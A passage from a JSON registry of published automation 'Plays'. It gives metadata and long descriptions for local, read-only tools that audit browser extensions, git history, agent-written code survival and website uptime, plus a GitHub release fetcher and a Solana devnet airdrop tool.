hour-of-day histogram is the only thing that changes.","example":"local"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d70580e2e7eafcc435d408f802b3123535701e891c339dabe922462757bcdd93","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/extension-reach@0.1.0","reference":"rajkaria/extension-reach@0.1.0","uri":"https://play.modiqo.ai/rajkaria/extension-reach@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/extension-reach@0.1.0","name":"extension-reach","title":"extension-reach","description":"An extension's install page shows its permissions once, in a dialog nobody re-reads, and then never again. The browser keeps the answer on disk for ever. This reads it and answers the question the browser stops asking after install day: what can see your bank tab, and is anyone still shipping updates for it.\nThree families, read independently and with no browser running. Chromium-family browsers keep a manifest per extension and a settings entry per profile saying whether it is enabled, where it was installed from and which hosts you actually granted. Firefox-family browsers keep the same facts in their own store. Safari publishes rather less, and where it publishes nothing that is reported as nothing rather than filled in. Every profile is read separately, so a second Chrome profile is its own row.\nYou get the count, the extensions that can read every page you open, the ones that pair blanket page access with a second power — reading what you type, rewriting requests, seeing every tab — the ones nobody has shipped a fix for in a year, and the ones you installed and stopped using, which are the cheapest permissions to take back. Every tier says what it is based on, and a permission the manifest does not declare is never inferred.\nThis reads manifests and settings metadata only. It never opens extension storage: idle detection looks at the modification *time* of a state folder with `os.stat`, and the folder is never opened. Nothing under a local-storage, database or cookie path is opened by this Play, and a test in the repository asserts that those words appear nowhere in its code as a path, a table or a query.\n- Reads: the extension manifests and profile settings files listed above, plus the modification time of each extension's state folder. Nothing else on your disk is opened. - Never reads: extension storage, browsing data, cookies, or any credential, keychain, token or password file. This Play needs no account and has no login step. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. Nothing is looked up about an extension anywhere; every judgement comes from files already on this machine. - Writes: only inside `out_dir`, which is created if missing. Every written path is listed in the run output. - Degrades, never fails: a browser this machine does not have, or one that macOS will not let a terminal read, is reported by name with the reason and the run still completes. A scan that hits its own file or time bound says so and reports its counts as a lower bound. - Runs cold: set `demo=true` to run the whole Play against bundled synthetic extension stores with nothing configured, before you point it at your own machine.\nRequires python3 3.9 or newer. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-computing","job-browser-extension-audit","job-permission-review","audience-everyone","effect-read-only","tool-chrome","tool-firefox","tool-safari"],"primary_domain":"domain-personal-computing","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T20:40:26.654632+00:00","visibility":"public","quality_score":1,"size_bytes":1023271,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["report","read_safari","read_firefox","read_chromium"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic extension stores for five browsers, so a first run needs nothing installed and no account.","example":"false"},{"name":"roots","type":"string","required":false,"default":"","description":"Comma separated. Leave empty to use the standard locations for every Chromium-family and Firefox-family browser this machine has.","example":"~/Library/Application Support/Google/Chrome"},{"name":"safari_roots","type":"string","required":false,"default":"","description":"Comma separated path prefixes for Safari's extension stores. Leave empty for the standard locations.","example":"~/Library/Containers"},{"name":"stale_days","type":"integer","required":false,"default":"365","description":"An extension whose files have not changed in this many days is reported as stale: nobody has shipped it a fix, and it can still read every page you open.","example":"365"},{"name":"idle_days","type":"integer","required":false,"default":"90","description":"An installed extension you have not used in this many days is reported as idle, which is the cheapest permission to take back.","example":"90"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6b6fd1da87a75bb13f6c399f628ea3777e89402b81b5032b77a83a191fef237e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/kept@0.1.0","reference":"rajkaria/kept@0.1.0","uri":"https://play.modiqo.ai/rajkaria/kept@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/kept@0.1.0","name":"kept","title":"kept","description":"Every other number a coding agent produces is about what it cost. This one is about what it was worth: of everything the agent wrote for you, how much of it is still in the file. Git already knows the answer and nobody asks it.\nIt reads two things. The session transcripts your agents already keep — Claude Code, Codex and Pi — for the file-writing tool calls and the times they happened, and nothing else in them: no prompt, no reply, no model name, no content. Then, in the repositories under a root you choose, one fixed read-only `git` command line for the commits and the blame that say what became of those lines.\nThe whole Play rests on one heuristic, and because the heuristic is arguable it is printed verbatim on the report rather than buried. Git records who *committed* a line, never who *typed* it, so a line is called the agent's when the commit that introduced it has an author time inside a session window — from the first file-writing call in that session to the last, plus a grace period. That miscounts in both directions and the two errors do not cancel. What makes the answer honest anyway is the control group: the identical computation over the same files outside every window, which is you. A survival rate with nothing to compare it against is a dunk, not a measurement, so the card prints both or it prints neither.\nYou get the lines ever written and the lines still alive for both, the gap between the two survival rates, where the rest went — reverted, deleted with the file, rewritten by a later edit, never committed at all — and a half-life curve with a denominator on every bucket. Everything expensive is bounded and every bound is reported, because a blame that was cut short gives a lower bound and a lower bound presented as a total is a lie.\n- Reads: the session transcript folders you name, for file-write records only, and git repositories under `root` through `git log`, `git blame` and their read-only siblings. - Never reads: any credential, keychain, token or password file. This Play needs no account and has no login step. It does not read prompts, replies or any conversation content, and the git commands it will run are an allow-list containing nothing able to change a repository. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. - Writes: only inside `out_dir`, which is created if missing. Every written path is listed in the run output. - Degrades, never fails: an agent you do not use, a repository with no commits, a missing git and a shallow clone are each reported by name with the reason, and the run still completes. A shallow clone lowers the confidence rating on that repository's answer rather than being quietly averaged in. - Runs cold: set `demo=true` to run the whole Play against a bundled synthetic transcript set and two synthetic repositories with nothing configured, before you point it at your own.\nRequires python3 3.9 or newer, and `git` for a real run. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-software-engineering","job-agent-output-audit","job-code-survival","audience-engineering-teams","effect-read-only","tool-git","tool-claude-code"],"primary_domain":"domain-software-engineering","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T20:40:22.888758+00:00","visibility":"public","quality_score":1,"size_bytes":1023394,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["report","read_git","read_agent"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against a bundled synthetic transcript set and two synthetic repositories, so a first run needs nothing installed and no account.","example":"false"},{"name":"root","type":"string","required":false,"default":"~","description":"Every git repository under this folder is blamed for the lines the transcripts say an agent wrote. Nothing outside it is opened.","example":"~/Projects"},{"name":"claude_dir","type":"string","required":false,"default":"~/.claude/projects","description":"Where Claude Code keeps its session transcripts. Only the file-write records in them are read.","example":"~/.claude/projects"},{"name":"codex_dir","type":"string","required":false,"default":"~/.codex/sessions","description":"Where Codex keeps its session transcripts. Missing is an expected absence, not an error.","example":"~/.codex/sessions"},{"name":"pi_dir","type":"string","required":false,"default":"~/.pi/sessions","description":"Where Pi keeps its session transcripts. Missing is an expected absence, not an error.","example":"~/.pi/sessions"},{"name":"max_repos","type":"integer","required":false,"default":"200","description":"Stop after this many repositories. The card says when the bound was reached.","example":"200"},{"name":"grace_minutes","type":"integer","required":false,"default":"30","description":"How long after an agent wrote a file a commit may still be credited to that write. Beyond this the lines are treated as yours.","example":"30"},{"name":"min_lines","type":"integer","required":false,"default":"20","description":"Writes smaller than this are left out of the survival rate: a two-line edit tells you nothing and moves the percentage a lot.","example":"20"},{"name":"max_blame_files","type":"integer","required":false,"default":"300","description":"The most files to run blame over. Blame is the slow half of this Play, so this is the knob that decides how long it takes.","example":"300"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:21349174965a140b8687b3a75247692a17f4ec6562f1ada66d7c53d114e8ce87","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/night-shift@0.1.0","reference":"rajkaria/night-shift@0.1.0","uri":"https://play.modiqo.ai/rajkaria/night-shift@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/night-shift@0.1.0","name":"night-shift","title":"night-shift","description":"Every editor and every dashboard shows commit times in whatever zone this machine is set to today, which quietly rewrites your history every time you travel or change laptops. Git records the committer's own UTC offset inside the timestamp, so a commit made at 04:12 in Tokyo is a 04:12 commit for ever. This reads that offset intact and answers, from the record rather than from memory, how much of your work lands after midnight.\nEvery git repository under a root you choose, read through one fixed, read-only `git` command line. Every hour, weekday and calendar date on the card is the wall clock the committer's own offset encodes, never this machine's idea of local time. Commits are matched to you by the addresses git already knows, plus any others you name.\nThe distributions are the easy half. The half worth having is the correlation: for late commits against the rest, how often a commit was later reverted, how often a fix-up followed it within the hour, and how long its subject line was — three recorded facts, each printed with its denominator beside it, which is the only reason they belong on a card at all. You also get the weekend count, the longest unbroken run of days, and the stretches that were rebased, reported rather than straightened out.\nTwo things this deliberately does not do. It does not interpret: these are counts of commits, they are not a measure of health, sleep, wellbeing or output quality, and nothing here offers advice. And it does not guess at a time zone: when more than one UTC offset appears in the window the card says so, because a fortnight abroad and a changed routine look identical in an hour histogram and only one of them is about your schedule.\n- Reads: git repositories under `root`, through `git log` and its read-only siblings. No working-tree file is opened and nothing outside `root` is looked at. - Never reads: any credential, keychain, token or password file. This Play needs no account and has no login step. The git commands it will run are an allow-list that contains nothing able to change a repository — no commit, no checkout, no fetch, no clean. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. - Writes: only inside `out_dir`, which is created if missing. Every written path is listed in the run output. - Degrades, never fails: a repository with no commits, a missing git, a directory that cannot be read, and a shallow clone are each reported by name with the reason, and the run still completes. A scan that hits its own repository or time bound says so and reports its counts as a lower bound. - Runs cold: set `demo=true` to run the whole Play against a bundled synthetic commit history with nothing configured, before you point it at your own.\nRequires python3 3.9 or newer, and `git` for a real run. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-software-engineering","job-work-pattern-review","job-burnout-check","audience-engineering-teams","effect-read-only","tool-git"],"primary_domain":"domain-software-engineering","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T20:40:18.950138+00:00","visibility":"public","quality_score":1,"size_bytes":1023196,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["report","read_commits"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against a bundled synthetic commit history, so a first run needs nothing installed and no account.","example":"false"},{"name":"root","type":"string","required":false,"default":"~","description":"Every git repository under this folder has its commit log read. Nothing outside it is opened.","example":"~/Projects"},{"name":"days","type":"integer","required":false,"default":"90","description":"How many days back to read. The same value is passed to the read and the report, so the denominator on the card is the window you asked for.","example":"90"},{"name":"emails","type":"string","required":false,"default":"","description":"Comma separated. Commits are matched to you by the addresses git already knows; add any others here so a second identity is not counted as somebody else.","example":"you@work.example,you@home.example"},{"name":"late_hour","type":"integer","required":false,"default":"23","description":"Local hour after which a commit counts as late. 23 means from 11pm.","example":"23"},{"name":"dawn_hour","type":"integer","required":false,"default":"5","description":"Local hour the late window closes. 5 means the window runs 11pm to 5am.","example":"5"},{"name":"fixup_minutes","type":"integer","required":false,"default":"60","description":"A commit that amends or fixes another within this many minutes is counted as a fixup, which is how the card compares late work with the rest.","example":"60"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7a117208fba1c98292b10e14345e13798e911e613e102729f22dc21ab1bc7805","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/bus-factor@0.1.0","reference":"rajkaria/bus-factor@0.1.0","uri":"https://play.modiqo.ai/rajkaria/bus-factor@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/bus-factor@0.1.0","name":"bus-factor","title":"bus-factor","description":"Every team knows some of its code has exactly one author left and nobody knows which files those are. The facts that settle it are already in the repository — who wrote which line, when they last committed anything, and whether a second person has ever been in the file — so this reads them and does the arithmetic nobody does by hand.\nEvery git repository under a root you choose, read through one fixed, read-only `git` command line. A file's authors come from its whole history rather than from blame on the current text, because a person who wrote a file and was then edited over still knows it and blame has already forgotten them. Ownership is measured in lines written, which is the only size git gives without opening a working-tree file, so every count on the card says \"lines written\" and never \"lines\". Bots, vendored trees, generated code and lock files are excluded by name, and both the count kept and the count excluded are printed, because an exclusion you cannot see is an exclusion you cannot check.\nYou get the number of files with a single author, the largest cluster of them in one directory with the name attached, whether that name has committed anywhere in the last year, the truck factor, and the files that are both sole-authored and untouched — the ones where the knowledge and the attention have both gone. The truck factor is computed greedily, largest owner first, which makes it an upper bound on the true minimum; the card says so, because a number that can only be wrong in one direction is worth more than one that could be wrong in either.\nAuthor names and addresses are reduced to initials unless you turn redaction off, and no address is printed in full on the card either way.\n- Reads: git repositories under `root`, through `git log`, `git blame` and their read-only siblings. No working-tree file is opened and nothing outside `root` is looked at. - Never reads: any credential, keychain, token or password file. This Play needs no account and has no login step. The git commands it will run are an allow-list that contains nothing able to change a repository — no commit, no checkout, no fetch, no clean. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. - Writes: only inside `out_dir`, which is created if missing. Every written path is listed in the run output. - Degrades, never fails: a repository with no commits, a missing git, a directory that cannot be read, and a shallow clone are each reported by name with the reason, and the run still completes. A shallow clone is reported as a lower bound, because a truncated history is exactly that. A scan that hits its own repository or time bound says so. - Runs cold: set `demo=true` to run the whole Play against three bundled synthetic repositories with nothing configured, before you point it at your own.\nRequires python3 3.9 or newer, and `git` for a real run. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-software-engineering","job-code-ownership-audit","job-risk-review","audience-engineering-teams","effect-read-only","tool-git"],"primary_domain":"domain-software-engineering","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T20:40:15.590724+00:00","visibility":"public","quality_score":1,"size_bytes":1022960,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["report","read_git"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against three bundled synthetic repositories, so a first run needs nothing installed and no account.","example":"false"},{"name":"root","type":"string","required":false,"default":"~","description":"Every git repository under this folder is read, up to max_repos. Nothing outside it is opened.","example":"~/Projects"},{"name":"max_repos","type":"integer","required":false,"default":"40","description":"Stop after this many repositories. The card says when the bound was reached, so a partial answer never reads like a complete one.","example":"40"},{"name":"departed_days","type":"integer","required":false,"default":"365","description":"An author with no commit anywhere in this many days is treated as gone, which is what turns a sole-authored file into an orphaned one.","example":"365"},{"name":"stale_days","type":"integer","required":false,"default":"365","description":"A sole-authored file untouched for this long is counted as stale: nobody has looked at it recently either.","example":"365"},{"name":"threshold","type":"string","required":false,"default":"0.5","description":"The share of a file's surviving lines one author must hold before the file is called theirs. 0.5 means a simple majority.","example":"0.5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:001064c200e10d30d88a67ae6322aaa907677320b89382b658c3ce6b347b5d3d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rusty-chirag/fetch-github-release-information@0.1.0","reference":"rusty-chirag/fetch-github-release-information@0.1.0","uri":"https://play.modiqo.ai/rusty-chirag/fetch-github-release-information@0.1.0","manifest_uri":"https://play.modiqo.ai/rusty-chirag/fetch-github-release-information@0.1.0","name":"fetch-github-release-information","title":"fetch-github-release-information","description":"Takes repository (owner/repo) and version tag as input and returns: Release Name, Tag, Release Creation/Publish Time, Commit SHA that the tag points to, Previous Release/Tag, Lists the commits between asked release and previous release with associated PR links, PR title, PR description, and GitHub Actions workflow run details.","owner":{"kind":"user","slug":"rusty-chirag"},"registry_organization":"rusty-chirag","tags":["typescript","github","releases","release-management"],"primary_domain":"domain-uncategorized","author":"rusty-chirag","version":"0.1.0","published_at":"2026-09-05T20:21:11.106379+00:00","visibility":"public","quality_score":0.875,"size_bytes":4667,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":9,"names":["all_prs","release","all_tags","parse_repo","all_commits","auth_github","parse_owner","all_releases","workflow_runs"]},"parameters":[{"name":"repository","type":"string","required":true,"description":"GitHub repository in owner/repo format (e.g. Chiraglr/Data-Processing-App)"},{"name":"version_tag","type":"string","required":true,"description":"Target GitHub release tag (e.g. TestTag)"}],"execution":{"adapters":[{"id":"rusty-chirag/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d8d15d56e24bf2d0c215d44c25a3823cd19a98ffe1adc0a81ce762176b220283","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":6,"shell":2,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":6,"fan_out":0,"for_each_steps":0,"complexity":18,"apis":[{"adapter":"github","steps":7,"methods":["actions/list-workflow-runs-for-repo","pulls/list","repos/get-release-by-tag","repos/list-commits","repos/list-releases","repos/list-tags"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"rusty-chirag/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":{"api_tokens":287459,"context_tokens":29548,"exploration_ms":48313,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/dezloper/devnet-sol-topup@0.1.1","reference":"dezloper/devnet-sol-topup@0.1.1","uri":"https://play.modiqo.ai/dezloper/devnet-sol-topup@0.1.1","manifest_uri":"https://play.modiqo.ai/dezloper/devnet-sol-topup@0.1.1","name":"devnet-sol-topup","title":"devnet-sol-topup","description":"Tops up a Solana devnet wallet toward a target balance. Give it a wallet address and a target in SOL and it requests airdrops until you hit the target or the run budget ends, then reports the confirmed balance it actually reached, how much it added, the observed rate and an honest ETA for the rest. Airdrops need only the public address, never a private key, so this holds no credential and no secret. The public devnet faucet is aggressively rate limited: when it returns 429 the play backs off and says so plainly rather than pretending, and it tells you to add your own devnet RPC URLs (Helius, Alchemy, QuickNode) for real throughput since each endpoint has an independent quota. It confirms the balance actually rose before counting an airdrop, so the numbers are real and not just requests issued. Devnet SOL has no value and devnet is periodically reset, so never treat the balance as durable. This performs a write: it requests airdrops to the address you give.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","audience-developers","effect-write","domain-solana","job-devnet-funding"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.1.1","published_at":"2026-09-05T19:55:04.850167+00:00","visibility":"public","quality_score":1,"size_bytes":6914,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["topup"]},"parameters":[{"name":"address","type":"string","required":true,"default":"","description":"The devnet wallet address to top up (base58 public key). No private key is needed.","example":"9WzDXwBbmkg8ZTbNMqUxvQRAyrZzDsGYdLVL9zYtAWWM"},{"name":"target_sol","type":"string","required":false,"default":"2","description":"Top up until the wallet reaches this many SOL.","example":"5"},{"name":"rpc_urls","type":"string","required":false,"default":"","description":"Extra comma-separated devnet RPC URLs (with your API key). Each adds independent airdrop quota.","example":"https://devnet.helius-rpc.com/?api-key=KEY"},{"name":"budget_seconds","type":"string","required":false,"default":"90","description":"How long to keep trying, in seconds (max 240).","example":"120"},{"name":"per_request_sol","type":"string","required":false,"default":"1","description":"How much to ask for per airdrop request, kept under the per-request cap.","example":"1"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8b02b3a316a8fb5d64f233074ad06e6701767c0c6cec3fc1095752386b1fa24c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shubham-hacks/screenshot-truth-checker@0.1.0","reference":"shubham-hacks/screenshot-truth-checker@0.1.0","uri":"https://play.modiqo.ai/shubham-hacks/screenshot-truth-checker@0.1.0","manifest_uri":"https://play.modiqo.ai/shubham-hacks/screenshot-truth-checker@0.1.0","name":"screenshot-truth-checker","title":"screenshot-truth-checker","description":"Finds stale or missing README and submission screenshots by comparing referenced local images with current captures; read-only and fully local.","owner":{"kind":"org","slug":"shubham-hacks"},"registry_organization":"shubham-hacks","tags":["screenshots","documentation","visual-regression","hackathon","submission","privacy"],"primary_domain":"domain-uncategorized","author":"Ss Cse1001","version":"0.1.0","published_at":"2026-09-05T19:49:42.309821+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":5358,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["compare_screenshots","discover_references"]},"parameters":[{"name":"project_directory","type":"string","required":true,"description":"Project root containing Markdown and baseline screenshots"},{"name":"current_screenshot_directory","type":"string","required":true,"description":"Directory containing freshly captured screenshots, matched by filename"},{"name":"threshold","type":"string","required":false,"default":"0.02","description":"Allowed normalized pixel difference from 0 to 1"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0ccf5a003f710e6a5b66cd0a18a11bdb4c66d4ad390d51e11f41dc1bb413387e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/vinayakvispute/sites-morning-check@0.1.1","reference":"vinayakvispute/sites-morning-check@0.1.1","uri":"https://play.modiqo.ai/vinayakvispute/sites-morning-check@0.1.1","manifest_uri":"https://play.modiqo.ai/vinayakvispute/sites-morning-check@0.1.1","name":"sites-morning-check","title":"sites-morning-check","description":"Morning check for every site you have shipped: HTTP status and speed, TLS certificate days left, domain expiry, the DNS target, and what changed since the last run. Each site gets one plain GET, one TLS connection to read the certificate, one RDAP lookup at rdap.org for the domain expiry, and A/AAAA plus CNAME queries to your system resolver -- that is the whole network surface, and rdap.org is the only third party contacted. Reads no credentials, tokens or config files, and runs no JavaScript. Writes only inside this play's own rote run workspace -- a portfolio file and dated snapshots, whose full paths it prints -- and never into the directory you run it from. Saving the portfolio is what lets later runs take zero arguments. Fails the run when a site is down or an expiry falls within warn_days.","owner":{"kind":"user","slug":"vinayakvispute"},"registry_organization":"vinayakvispute","tags":["domain-web-operations","job-site-monitoring","audience-developers","audience-freelancers","effect-read-only","uptime","tls","certificate-expiry","rdap","dns","monitoring","daily-check","read-only","no-credentials","python3"],"primary_domain":"domain-web-operations","author":"Vinayak Vispute","version":"0.1.1","published_at":"2026-09-05T19:22:57.444689+00:00","visibility":"public","quality_score":1,"size_bytes":15876,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["gate","delta","check_site","load_portfolio"]},"parameters":[{"name":"sites","type":"string","required":false,"default":"","description":"Comma list of URLs to check this run. If given it is also saved as the portfolio for future runs, unless save=false."},{"name":"portfolio","type":"string","required":false,"default":"sites-portfolio.json","description":"Workspace-relative path of the saved portfolio file, read when no sites= is given."},{"name":"save","type":"string","required":false,"default":"true","description":"Whether a sites= list overwrites the portfolio file in the run directory."},{"name":"expect","type":"string","required":false,"default":"","description":"Optional DNS expectations as host=target,host=target, where target is an IP or a CNAME suffix such as vercel-dns.com. Saved with the portfolio."},{"name":"timeout","type":"string","required":false,"default":"10","description":"Seconds allowed for each network call (HTTP, TLS handshake, RDAP, DNS)."},{"name":"warn_days","type":"string","required":false,"default":"14","description":"A certificate or domain expiring within this many days is reported as a problem and fails the run."},{"name":"user_agent","type":"string","required":false,"default":"Mozilla/5.0 (compatible; SitesMorningCheck/1.0; +https://play.modiqo.ai)","description":"User-Agent sent with every read-only 